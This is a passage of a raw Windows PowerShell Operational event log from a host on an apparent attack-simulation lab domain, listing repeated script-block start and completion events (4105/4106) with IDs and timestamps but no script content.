Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028895
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028894
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028893
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028892
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028891
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028880
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028879
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028877
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028876
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028875
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028874
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028873
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028858
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028857
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028852
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028851
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028848
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2028844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2028843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
